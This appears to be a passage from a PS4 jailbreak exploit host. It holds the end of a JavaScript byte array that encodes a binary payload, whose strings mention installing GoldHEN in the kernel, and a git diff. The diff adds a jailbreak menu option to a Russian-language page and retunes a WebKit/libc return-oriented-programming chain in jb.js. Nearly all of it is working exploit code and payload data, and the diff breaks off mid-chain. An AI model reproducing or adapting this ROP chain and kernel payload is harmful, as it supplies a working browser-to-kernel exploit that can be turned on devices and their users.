177, 254, 235, 127, 223, 223, 125, 249, 15, 252, 57, 126, 231, 213, 213, 223, 231, 231, 248, 3, 127, 175, 223, 227, 247, 251, 253, 254, 203, 180, 196, 127, 29, 179, 248, 47, 95, 146, 255, 160, 223, 227, 247, 254, 189, 127, 142, 223, 249, 15, 254, 3, 255, 240, 159, 227, 191, 252, 63, 25, 255, 115, 252, 126, 127, 192, 234, 31, 242, 123, 252, 190, 127, 240, 31, 248, 223, 255, 175, 252, 191, 255, 95, 207, 202, 255, 248, 99, 241, 255, 85, 4, 229, 231, 252, 31, 63, 239, 191, 254, 207, 240, 7, 254, 151, 148, 252, 151, 255, 104, 252, 151, 193, 144, 159, 227, 191, 254, 191, 186, 253, 63, 253, 199, 225, 119, 255, 47, 255, 47, 5, 255, 151, 255, 116, 248, 95, 252, 199, 235, 191, 249, 143, 247, 246, 159, 237, 191, 141, 63, 252, 100, 255, 43, 207, 251, 175, 114, 19, 191, 208, 207, 241, 139, 254, 97, 63, 239, 47, 250, 203, 252, 86, 255, 205, 103, 68, 255, 7, 175, 181, 111, 175, 124, 255, 189, 255, 212, 255, 229, 255, 90, 250, 175, 127, 254, 155, 207, 160, 254, 187, 63, 251, 255, 240, 163, 140, 255, 250, 207, 254, 63, 252, 12, 234, 63, 242, 179, 255, 255, 159, 65, 253, 224, 103, 80, 255, 171, 255, 239, 47, 243, 127, 238, 135, 80, 255, 215, 62, 131, 250, 215, 255, 44, 255, 219, 254, 111, 124, 254, 245, 63, 251, 255, 240, 255, 253, 223, 250, 25, 212, 255, 230, 159, 31, 255, 205, 255, 251, 191, 245, 51, 168, 255, 205, 63, 223, 254, 155, 255, 247, 127, 235, 103, 80, 255, 155, 127, 254, 254, 187, 63, 251, 231, 62, 131, 250, 83, 204, 252, 15, 255, 223, 159, 244, 39, 248, 216, 103, 80, 255, 155, 127, 255, 159, 249, 231, 254, 31, 254, 191, 123, 255, 11, 255, 55, 74, 255, 155, 127, 255, 223, 248, 127, 244, 25, 210, 191, 255, 231, 253, 31, 254, 191, 255, 107, 159, 33, 253, 109, 254, 71, 159, 33, 253, 111, 62, 103, 248, 223, 252, 191, 127, 216, 143, 251, 254, 255, 141, 212, 223, 241, 127, 225, 51, 164, 255, 205, 191, 255, 103, 63, 67, 250, 143, 253, 215, 255, 254, 191, 251, 255, 202, 255, 252, 126, 165, 95, 240, 127, 249, 159, 219, 191, 198, 175, 252, 235, 254, 234, 255, 125, 255, 143, 231, 143, 127, 224, 223, 250, 71, 253, 118, 127, 193, 31, 249, 39, 254, 110, 15, 255, 244, 95, 255, 151, 60, 253, 186, 127, 237, 31, 250, 79, 253, 195, 191, 203, 239, 121, 246, 27, 254, 149, 91, 127, 219, 95, 243, 15, 253, 33, 63, 233, 95, 254, 43, 254, 109, 255, 201, 227, 239, 252, 199, 253, 100, 127, 235, 175, 253, 227, 253, 243, 127, 241, 223, 243, 179, 46, 92, 253, 22, 63, 229, 95, 254, 251, 252, 216, 79, 252, 99, 127, 201, 159, 54, 222, 254, 179, 127, 142, 95, 245, 55, 57, 255, 155, 94, 254, 163, 171, 127, 255, 247, 248, 203, 126, 129, 223, 240, 119, 254, 125, 255, 232, 95, 233, 119, 92, 250, 163, 127, 246, 223, 225, 151, 249, 41, 255, 148, 223, 226, 175, 254, 45, 126, 171, 127, 234, 250, 247, 253, 55, 127, 186, 95, 240, 87, 250, 25, 207, 238, 127, 249, 159, 255, 103, 252, 75, 86, 198, 203, 139, 191, 249, 63, 244, 39, 255, 132, 255, 201, 79, 242, 11, 188, 252, 230, 191, 197, 47, 246, 231, 174, 254, 132, 255, 218, 213, 111, 249, 123, 255, 148, 63, 219, 239, 246, 147, 255, 250, 191, 212, 239, 246, 203, 252, 29, 127, 230, 175, 176, 244, 215, 252, 222, 127, 199, 191, 119, 247, 23, 255, 234, 255, 216, 79, 250, 139, 252, 3, 191, 236, 95, 244, 227, 253, 210, 251, 191, 240, 217, 223, 248, 55, 13, 254, 200, 153, 223, 235, 47, 253, 51, 126, 231, 159, 227, 79, 253, 39, 126, 239, 95, 250, 159, 248, 109, 126, 179, 191, 248, 23, 221, 251, 171, 127, 222, 95, 254, 207, 253, 233, 126, 133, 159, 242, 103, 252, 209, 191, 251, 39, 252, 42, 127, 192, 191, 240, 79, 252, 69, 139, 191, 251, 63, 243, 211, 254, 209, 127, 254, 207, 60, 247, 251, 255, 202, 191, 214, 31, 246, 175, 255, 76, 127, 202, 218, 143, 51, 243, 51, 254, 238, 255, 216, 31, 60, 62, 250, 23, 254, 189, 193, 79, 241, 7, 255, 117, 63, 227, 245, 63, 254, 55, 30, 253, 41, 255, 250, 63, 242, 119, 253, 85, 51, 203, 191, 237, 79, 242, 31, 255, 238, 255, 218, 191, 251, 143, 254, 29, 139, 191, 211, 223, 245, 155, 255, 69, 127, 228, 207, 241, 139, 254, 235, 191, 209, 47, 240, 171, 253, 120, 255, 240, 111, 252, 11, 254, 188, 191, 217, 63, 243, 242, 39, 252, 234, 227, 191, 240, 103, 255, 153, 254, 221, 127, 249, 175, 248, 179, 127, 234, 159, 238, 23, 252, 237, 126, 189, 191, 242, 175, 152, 174, 255, 235, 191, 237, 191, 191, 250, 179, 254, 253, 211, 173, 191, 237, 23, 156, 252, 153, 191, 125, 63, 201, 244, 63, 252, 241, 127, 155, 223, 230, 63, 253, 139, 255, 150, 127, 230, 167, 189, 255, 151, 126, 249, 223, 249, 236, 63, 253, 147, 126, 251, 241, 95, 247, 139, 205, 159, 255, 216, 254, 239, 247, 19, 254, 157, 127, 201, 111, 243, 175, 254, 146, 127, 209, 175, 246, 135, 205, 221, 254, 103, 191, 204, 111, 209, 239, 254, 199, 254, 244, 127, 249, 191, 250, 159, 252, 99, 127, 209, 95, 251, 215, 141, 126, 199, 159, 230, 207, 248, 131, 127, 223, 159, 224, 239, 248, 235, 255, 182, 191, 227, 248, 135, 95, 229, 63, 249, 13, 254, 220, 153, 191, 249, 39, 251, 249, 255, 162, 223, 235, 175, 253, 251, 254, 177, 187, 159, 255, 87, 249, 77, 102, 127, 229, 191, 255, 231, 253, 149, 126, 179, 127, 225, 215, 26, 252, 220, 127, 244, 31, 250, 199, 253, 250, 191, 239, 214, 207, 243, 27, 255, 103, 191, 224, 239, 245, 11, 252, 209, 127, 233, 95, 124, 58, 248, 153, 255, 129, 63, 109, 237, 47, 254, 195, 127, 155, 127, 225, 111, 189, 251, 71, 127, 249, 127, 255, 250, 199, 251, 51, 127, 193, 191, 234, 232, 143, 250, 11, 255, 178, 127, 242, 23, 249, 57, 255, 234, 223, 104, 237, 79, 253, 75, 255, 172, 95, 228, 239, 26, 255, 157, 127, 182, 179, 159, 242, 79, 253, 41, 102, 254, 185, 95, 236, 151, 250, 177, 197, 63, 243, 31, 26, 255, 154, 191, 240, 250, 79, 250, 111, 156, 255, 69, 255, 240, 159, 245, 55, 253, 253, 191, 213, 31, 242, 175, 255, 126, 63, 252, 1, 191, 227, 175, 243, 175, 254, 53, 191, 244, 207, 245, 231, 254, 189, 191, 201, 159, 121, 184, 179, 245, 239, 254, 59, 191, 229, 159, 254, 155, 158, 255, 203, 191, 232, 228, 159, 252, 27, 126, 217, 159, 226, 15, 255, 209, 248, 175, 110, 227, 231, 250, 199, 254, 134, 63, 230, 119, 94, 251, 113, 126, 171, 95, 243, 47, 254, 251, 230, 255, 245, 191, 121, 245, 239, 252, 9, 255, 176, 223, 115, 244, 139, 77, 126, 155, 95, 237, 159, 251, 141, 206, 254, 190, 151, 237, 95, 225, 231, 252, 85, 126, 166, 95, 233, 15, 127, 154, 252, 202, 103, 255, 233, 63, 249, 83, 255, 146, 127, 200, 238, 191, 244, 119, 255, 232, 183, 249, 57, 126, 234, 131, 95, 228, 55, 185, 252, 99, 127, 201, 63, 224, 224, 240, 167, 251, 37, 126, 206, 95, 232, 231, 248, 27, 254, 222, 191, 100, 254, 111, 252, 173, 255, 229, 191, 234, 111, 248, 13, 126, 182, 95, 239, 183, 253, 29, 127, 154, 191, 240, 55, 250, 153, 255, 161, 63, 225, 15, 255, 121, 255, 243, 159, 230, 199, 251, 51, 254, 204, 31, 127, 111, 225, 111, 255, 247, 126, 182, 159, 254, 31, 250, 73, 127, 245, 31, 251, 91, 127, 243, 63, 232, 39, 251, 5, 126, 158, 159, 224, 31, 253, 89, 254, 218, 195, 127, 224, 87, 251, 91, 254, 227, 95, 254, 111, 252, 5, 255, 128, 63, 233, 151, 250, 87, 254, 132, 223, 235, 55, 255, 53, 127, 146, 159, 247, 103, 252, 107, 127, 143, 31, 254, 174, 255, 240, 63, 251, 243, 253, 124, 127, 218, 239, 241, 243, 253, 108, 127, 202, 207, 190, 244, 123, 253, 231, 191, 200, 191, 240, 27, 252, 116, 255, 227, 127, 126, 254, 215, 232, 255, 98, 255, 221, 255, 121, 235, 255, 197, 127, 170, 255, 74, 63, 206, 47, 250, 223, 34, 248, 95, 127, 132, 249, 143, 254, 113, 126, 156, 95, 233, 45, 31, 242, 239, 254, 159, 245, 191, 19, 127, 220, 255, 222, 127, 125, 127, 244, 143, 255, 95, 254, 159, 160, 123, 231, 191, 190, 95, 233, 191, 251, 136, 245, 143, 247, 127, 240, 127, 125, 191, 213, 47, 240, 159, 254, 231, 127, 244, 47, 240, 159, 254, 231, 191, 210, 47, 240, 159, 254, 231, 127, 230, 47, 240, 159, 254, 231, 127, 193, 47, 240, 159, 254, 231, 127, 195, 47, 240, 159, 254, 231, 191, 251, 47, 240, 159, 254, 231, 191, 217, 47, 244, 159, 254, 231, 255, 236, 47, 244, 159, 254, 231, 255, 202, 252, 127, 250, 159, 255, 117, 243, 255, 233, 127, 254, 15, 205, 255, 167, 255, 249, 207, 246, 11, 253, 167, 255, 249, 79, 49, 255, 159, 254, 231, 63, 207, 252, 127, 250, 159, 255, 114, 243, 255, 233, 127, 254, 7, 253, 66, 255, 233, 127, 254, 111, 252, 151, 95, 159, 246, 103, 254, 153, 127, 230, 127, 245, 175, 236, 255, 203, 171, 193, 223, 254, 223, 190, 242, 254, 182, 255, 245, 191, 92, 254, 237, 127, 142, 95, 99, 249, 247, 90, 253, 141, 126, 221, 95, 243, 231, 248, 221, 127, 223, 223, 247, 247, 250, 3, 127, 142, 255, 50, 156, 190, 252, 123, 255, 151, 123, 231, 127, 245, 175, 102, 126, 245, 95, 247, 87, 254, 53, 254, 251, 254, 69, 254, 203, 255, 45, 254, 139, 252, 151, 91, 225, 47, 242, 63, 243, 31, 231, 55, 93, 253, 189, 127, 215, 255, 153, 255, 64, 255, 221, 147, 126, 222, 63, 240, 39, 251, 113, 222, 254, 229, 233, 127, 243, 175, 214, 255, 203, 164, 239, 239, 252, 139, 255, 28, 111, 255, 114, 236, 119, 249, 57, 127, 178, 95, 245, 247, 253, 93, 86, 127, 151, 255, 238, 95, 194, 255, 247, 254, 61, 127, 229, 223, 251, 247, 254, 57, 126, 151, 223, 247, 247, 89, 253, 175, 255, 235, 250, 239, 6, 255, 213, 74, 246, 115, 252, 126, 203, 127, 208, 202, 239, 190, 250, 63, 249, 111, 224, 191, 123, 222, 111, 186, 178, 250, 155, 254, 238, 171, 191, 247, 239, 253, 171, 254, 190, 127, 192, 234, 255, 210, 179, 255, 231, 158, 255, 155, 255, 218, 255, 203, 207, 254, 31, 61, 255, 191, 252, 191, 185, 255, 7, 173, 254, 70, 191, 247, 242, 31, 254, 63, 251, 239, 242, 223, 255, 175, 224, 199, 249, 197, 254, 238, 255, 242, 127, 50, 119, 255, 229, 255, 124, 254, 204, 63, 243, 191, 252, 50, 132, 243, 31, 231, 207, 252, 55, 126, 156, 255, 238, 63, 233, 143, 179, 250, 135, 173, 174, 252, 193, 127, 208, 242, 239, 252, 123, 175, 254, 56, 203, 191, 223, 239, 247, 11, 175, 254, 97, 171, 255, 139, 171, 246, 255, 224, 63, 245, 143, 243, 227, 254, 56, 119, 63, 251, 143, 243, 187, 253, 190, 191, 247, 239, 242, 187, 175, 254, 62, 191, 227, 31, 240, 95, 70, 179, 87, 127, 199, 255, 250, 191, 156, 31, 231, 247, 251, 175, 214, 250, 255, 246, 223, 252, 187, 47, 255, 129, 171, 191, 196, 255, 128, 207, 63, 255, 103, 254, 113, 126, 149, 223, 226, 143, 253, 113, 254, 236, 159, 224, 79, 250, 113, 254, 236, 185, 191, 244, 199, 249, 69, 255, 252, 159, 249, 199, 249, 137, 127, 229, 159, 247, 199, 249, 253, 126, 139, 63, 246, 199, 249, 187, 231, 254, 210, 15, 188, 21, 240, 95, 197, 120, 223, 254, 105, 242, 251, 253, 1, 191, 239, 91, 40, 247, 119, 89, 254, 131, 126, 156, 255, 157, 111, 51, 189, 247, 30, 211, 127, 249, 243, 51, 252, 55, 207, 251, 35, 126, 147, 31, 231, 199, 253, 195, 126, 154, 31, 247, 71, 63, 197, 79, 252, 147, 252, 151, 159, 96, 250, 105, 254, 235, 127, 189, 243, 83, 255, 6, 255, 233, 127, 254, 179, 255, 247, 254, 117, 194, 127, 249, 194, 242, 179, 252, 6, 255, 233, 127, 190, 252, 95, 255, 47, 234, 255, 50, 74, 241, 95, 70, 60, 126, 215, 223, 248, 63, 253, 207, 255, 180, 183, 255, 69, 251, 83, 253, 52, 127, 234, 143, 247, 43, 255, 84, 63, 243, 159, 240, 227, 255, 154, 63, 213, 63, 242, 51, 255, 120, 195, 159, 234, 103, 254, 149, 127, 170, 159, 230, 87, 249, 169, 126, 146, 255, 250, 223, 255, 191, 140, 183, 253, 125, 191, 241, 127, 250, 159, 255, 110, 255, 189, 255, 152, 255, 229, 27, 114, 63, 235, 111, 242, 159, 254, 231, 63, 229, 127, 239, 223, 246, 95, 34, 248, 211, 255, 38, 255, 233, 127, 254, 211, 253, 247, 254, 109, 127, 221, 127, 249, 175, 49, 127, 147, 255, 244, 63, 255, 153, 255, 123, 255, 182, 191, 251, 191, 220, 15, 126, 147, 255, 244, 63, 255, 105, 255, 71, 187, 199, 223, 250, 111, 255, 248, 255, 131, 127, 9, 251, 55, 252, 215, 255, 255, 255, 230, 95, 219, 254, 5, 255, 245, 255, 255, 255, 75, 187, 199, 127, 249, 247, 23, 254, 131, 127, 159, 223, 251, 247, 248, 189, 86, 127, 239, 63, 252, 191, 254, 255, 254, 110, 171, 127, 208, 239, 248, 123, 253, 206, 203, 127, 224, 234, 127, 253, 255, 255, 61, 126, 159, 223, 227, 15, 250, 29, 127, 175, 63, 240, 119, 249, 189, 254, 235, 255, 255, 239, 243, 251, 254, 65, 191, 199, 239, 250, 223, 60, 249, 247, 92, 254, 61, 126, 239, 223, 249, 15, 88, 93, 254, 189, 126, 199, 255, 154, 135, 255, 201, 191, 253, 191, 126, 227, 238, 127, 244, 111, 254, 175, 255, 255, 255, 213, 91, 35, 255, 213, 227, 223, 229, 191, 126, 163, 228, 191, 205, 216, 253, 175, 47, 70, 171, 191, 251, 239, 248, 187, 254, 151, 223, 165, 240, 127, 234, 18, 244, 63, 222, 129, 126, 142, 31, 247, 127, 248, 255, 254, 221, 75, 31, 219, 129, 254, 155, 127, 255, 127, 225, 151, 251, 31, 254, 191, 63, 255, 255, 202, 191, 134, 253, 57, 254, 71, 255, 254, 63, 241, 47, 255, 63, 252, 127, 127, 246, 255, 149, 127, 255, 95, 244, 127, 244, 239, 255, 243, 254, 242, 255, 195, 255, 119, 249, 199, 255, 95, 249, 215, 208, 255, 163, 127, 255, 63, 225, 87, 250, 31, 254, 191, 127, 218, 255, 202, 127, 254, 95, 255, 127, 244, 239, 255, 211, 255, 202, 255, 195, 255, 247, 127, 45, 7, 182, 250, 63, 250, 247, 255, 35, 126, 229, 255, 225, 255, 251, 83, 254, 175, 252, 251, 255, 145, 255, 163, 127, 255, 63, 241, 87, 254, 31, 254, 191, 63, 221, 255, 202, 191, 255, 159, 250, 63, 250, 247, 223, 252, 149, 255, 135, 255, 239, 207, 252, 191, 242, 239, 255, 23, 252, 143, 254, 253, 255, 198, 95, 249, 127, 248, 255, 254, 180, 255, 43, 255, 254, 127, 229, 255, 104, 135, 254, 23, 126, 229, 255, 225, 255, 187, 249, 215, 253, 248, 239, 230, 248, 254, 250, 255, 209, 191, 255, 31, 254, 95, 191, 206, 253, 55, 255, 239, 255, 218, 14, 254, 183, 252, 143, 118, 240, 255, 230, 117, 242, 191, 249, 127, 255, 155, 255, 254, 127, 170, 255, 133, 29, 252, 239, 252, 31, 237, 224, 255, 205, 235, 238, 127, 243, 255, 254, 175, 237, 224, 127, 239, 255, 104, 7, 255, 111, 94, 199, 255, 214, 255, 209, 127, 253, 63, 229, 255, 194, 14, 250, 143, 252, 143, 254, 251, 255, 167, 254, 235, 127, 191, 255, 230, 255, 253, 71, 126, 156, 247, 119, 216, 127, 250, 127, 180, 67, 255, 213, 255, 206, 143, 255, 63, 248, 127, 255, 133, 255, 222, 127, 255, 255, 115, 59, 244, 191, 252, 63, 218, 161, 255, 164, 127, 247, 199, 255, 31, 252, 191, 255, 238, 255, 202, 14, 253, 175, 255, 47, 236, 208, 255, 205, 191, 255, 103, 119, 232, 191, 233, 191, 254, 247, 127, 248, 95, 249, 199, 255, 191, 0, 237, 96, 144, 221, 36, 101, 3, 0, 127, 69, 76, 70, 0, 0, 0, 0, 173, 141, 252, 255, 240, 141, 252, 255, 98, 142, 252, 255, 0, 143, 252, 255, 190, 144, 252, 255, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 10, 0, 32, 32, 95, 95, 95, 95, 95, 95, 95, 95, 95, 95, 95, 95, 95, 95, 95, 95, 95, 32, 32, 46, 95, 95, 95, 95, 32, 32, 95, 95, 95, 95, 95, 95, 95, 95, 32, 32, 32, 32, 95, 95, 95, 32, 95, 95, 95, 95, 95, 95, 95, 95, 95, 95, 95, 95, 95, 95, 32, 95, 95, 95, 95, 95, 95, 95, 10, 0, 32, 47, 32, 32, 95, 95, 95, 95, 95, 95, 95, 95, 95, 95, 95, 95, 95, 32, 32, 92, 32, 124, 32, 32, 32, 32, 124, 32, 92, 95, 95, 95, 95, 95, 95, 32, 92, 32, 32, 47, 32, 32, 32, 124, 32, 32, 32, 92, 95, 32, 32, 32, 95, 95, 95, 95, 95, 47, 32, 92, 32, 32, 32, 32, 32, 32, 92, 10, 0, 47, 32, 32, 32, 92, 32, 32, 95, 95, 95, 32, 32, 47, 32, 32, 32, 124, 32, 32, 32, 92, 124, 32, 32, 32, 32, 124, 32, 32, 124, 32, 32, 32, 32, 124, 32, 32, 92, 47, 32, 32, 32, 32, 126, 32, 32, 32, 32, 92, 32, 32, 32, 32, 95, 95, 41, 95, 32, 32, 47, 32, 32, 32, 124, 32, 32, 32, 92, 10, 0, 92, 32, 32, 32, 32, 92, 95, 92, 32, 32, 92, 47, 32, 32, 32, 32, 124, 32, 32, 32, 32, 92, 32, 32, 32, 32, 124, 95, 95, 124, 32, 32, 32, 32, 96, 32, 32, 32, 92, 32, 32, 32, 32, 89, 32, 32, 32, 32, 47, 32, 32, 32, 32, 32, 32, 32, 32, 92, 47, 32, 32, 32, 32, 124, 32, 32, 32, 32, 92, 10, 0, 32, 92, 95, 95, 95, 95, 95, 95, 32, 32, 47, 92, 95, 95, 95, 95, 95, 95, 95, 32, 32, 47, 95, 95, 95, 95, 95, 95, 95, 32, 92, 95, 95, 95, 95, 95, 32, 32, 47, 92, 95, 95, 95, 124, 95, 32, 32, 47, 95, 95, 95, 95, 95, 95, 95, 32, 32, 47, 92, 95, 95, 95, 95, 124, 95, 95, 32, 32, 47, 10, 0, 32, 32, 32, 32, 32, 32, 32, 32, 92, 47, 32, 32, 32, 32, 32, 32, 32, 32, 32, 92, 47, 32, 32, 32, 32, 32, 32, 32, 32, 92, 47, 32, 32, 32, 32, 32, 92, 47, 32, 32, 32, 32, 32, 32, 32, 92, 47, 32, 32, 32, 32, 32, 32, 32, 32, 92, 47, 32, 32, 32, 32, 32, 32, 32, 32, 32, 92, 47, 10, 10, 0, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 67, 111, 100, 101, 100, 32, 66, 121, 10, 0, 32, 32, 32, 32, 32, 32, 32, 32, 95, 95, 95, 95, 95, 95, 95, 95, 95, 46, 95, 95, 32, 32, 95, 95, 95, 95, 95, 95, 95, 95, 95, 95, 95, 95, 95, 95, 95, 95, 95, 95, 95, 95, 95, 95, 95, 95, 95, 95, 95, 95, 32, 95, 95, 95, 95, 95, 95, 95, 95, 10, 0, 32, 32, 32, 32, 32, 32, 32, 47, 32, 32, 32, 95, 95, 95, 95, 95, 47, 124, 95, 95, 124, 47, 32, 32, 32, 95, 95, 95, 95, 95, 95, 95, 95, 95, 32, 32, 32, 32, 95, 95, 95, 95, 95, 95, 95, 95, 95, 32, 32, 32, 92, 95, 95, 95, 95, 95, 32, 32, 32, 92, 10, 0, 32, 32, 32, 32, 32, 32, 32, 92, 95, 95, 95, 95, 95, 32, 32, 92, 32, 124, 32, 32, 124, 92, 95, 95, 95, 95, 95, 32, 32, 92, 32, 32, 32, 124, 32, 32, 32, 32, 124, 32, 32, 124, 32, 32, 32, 32, 32, 32, 32, 95, 47, 32, 47, 32, 32, 32, 124, 32, 32, 32, 92, 10, 0, 32, 32, 32, 32, 32, 32, 32, 47, 32, 32, 32, 32, 32, 32, 32, 32, 92, 124, 32, 32, 124, 47, 32, 32, 32, 32, 32, 32, 32, 32, 92, 32, 32, 124, 32, 32, 32, 32, 124, 32, 32, 124, 32, 32, 32, 32, 124, 32, 32, 32, 92, 47, 32, 32, 32, 32, 124, 32, 32, 32, 32, 92, 10, 0, 32, 32, 32, 32, 32, 32, 47, 95, 95, 95, 95, 95, 95, 95, 32, 32, 47, 124, 95, 95, 47, 95, 95, 95, 95, 95, 95, 95, 32, 32, 47, 32, 32, 124, 95, 95, 95, 95, 124, 32, 32, 124, 95, 95, 95, 95, 124, 95, 32, 32, 47, 92, 95, 95, 95, 95, 95, 95, 95, 95, 95, 47, 10, 0, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 92, 47, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 92, 47, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 92, 47, 10, 0, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 10, 10, 0, 91, 71, 111, 108, 100, 72, 69, 78, 93, 32, 73, 110, 118, 97, 108, 105, 100, 32, 71, 111, 108, 100, 72, 69, 78, 32, 101, 108, 102, 33, 10, 0, 91, 71, 111, 108, 100, 72, 69, 78, 93, 32, 67, 111, 117, 108, 100, 32, 110, 111, 116, 32, 97, 108, 108, 111, 99, 97, 116, 101, 32, 109, 101, 109, 111, 114, 121, 32, 102, 111, 114, 32, 71, 111, 108, 100, 72, 69, 78, 32, 101, 108, 102, 33, 10, 0, 91, 71, 111, 108, 100, 72, 69, 78, 93, 32, 67, 111, 117, 108, 100, 32, 110, 111, 116, 32, 108, 111, 97, 100, 32, 71, 111, 108, 100, 72, 69, 78, 32, 101, 108, 102, 33, 10, 0, 91, 71, 111, 108, 100, 72, 69, 78, 93, 32, 73, 110, 115, 116, 97, 108, 108, 105, 110, 103, 32, 71, 111, 108, 100, 72, 69, 78, 32, 105, 110, 32, 75, 101, 114, 110, 101, 108, 46, 46, 46, 10, 0, 0, 0, 0, 0, 0, 1, 0, 2, 0, 3, 0, 4, 0, 5, 0, 7, 0, 9, 0, 13, 0, 17, 0, 25, 0, 33, 0, 49, 0, 65, 0, 97, 0, 129, 0, 193, 0, 1, 1, 129, 1, 1, 2, 1, 3, 1, 4, 1, 6, 1, 8, 1, 12, 1, 16, 1, 24, 1, 32, 1, 48, 1, 64, 1, 96, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12, 12, 13, 13, 0, 0, 3, 0, 4, 0, 5, 0, 6, 0, 7, 0, 8, 0, 9, 0, 10, 0, 11, 0, 13, 0, 15, 0, 17, 0, 19, 0, 23, 0, 27, 0, 31, 0, 35, 0, 43, 0, 51, 0, 59, 0, 67, 0, 83, 0, 99, 0, 115, 0, 131, 0, 163, 0, 195, 0, 227, 0, 2, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 0, 0, 0, 0, 16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15, 71, 111, 108, 100, 72, 69, 78, 32, 105, 115, 32, 97, 108, 114, 101, 97, 100, 121, 32, 108, 111, 97, 100, 101, 100, 33, 0, 47, 108, 105, 98, 54, 52, 47, 108, 100, 45, 108, 105, 110, 117, 120, 45, 120, 56, 54, 45, 54, 52, 46, 115, 111, 46, 50, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 245, 254, 255, 111, 0, 0, 0, 0, 112, 127, 35, 38, 9, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 104, 127, 35, 38, 9, 0, 0, 0, 6, 0, 0, 0, 0, 0, 0, 0, 80, 127, 35, 38, 9, 0, 0, 0, 10, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 11, 0, 0, 0, 0, 0, 0, 0, 24, 0, 0, 0, 0, 0, 0, 0, 21, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 30, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0, 251, 255, 255, 111, 0, 0, 0, 0, 1, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 51, 48, 55, 53, 101, 100, 52, 102]); diff --git a/index.html b/index.html index 6976cab..db6445e 100644 --- a/index.html +++ b/index.html @@ -1,4 +1,4 @@ - + @@ -92,6 +92,7 @@

ВНИМАТЕЛЬНО ПРОЧИТАЙТЕ ИНСТРУКЦИЮ ПРЕЖД
+JB+ghen2b2 JB+MIRA JB+HEN JB+LINUX (VRAM 1GB) diff --git a/jb.js b/jb.js index 270a8e5..45e2bf2 100644 --- a/jb.js +++ b/jb.js @@ -1,4 +1,4 @@ -var ropchain_array = new Uint32Array(99998); +var ropchain_array = new Uint32Array(99972); var ropchain = read_ptr_at(addrof(ropchain_array)+0x10); var ropchain_offset = 2; function set_gadget(val) @@ -35,7 +35,7 @@ libc_base+788575, //pop rax ropchain+112, //ret_addr libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+315280, //_main +ropchain+311480, //_main //ret_addr: libc_base+811575, //pop rsp ropchain+65680 //stack_bottom @@ -68,47 +68,46 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+65800, //L1 +ropchain+65800, //L0 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L1: +//L0: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax -libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+65912, //L4 -webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+65928, //L5 +ropchain+65888, //L2 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+65920, //L5 +webkit_base+7438103, //mov [rsi], rax +libc_base+792472 //pop rcx ]); //L2: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3: db([16, 0]); // 0x10 set_gadget(webkit_base+432898,); //pop r8 -//L4: -db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx //L5: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+66032, //L8 +ropchain+66024, //L8 webkit_base+7438103, 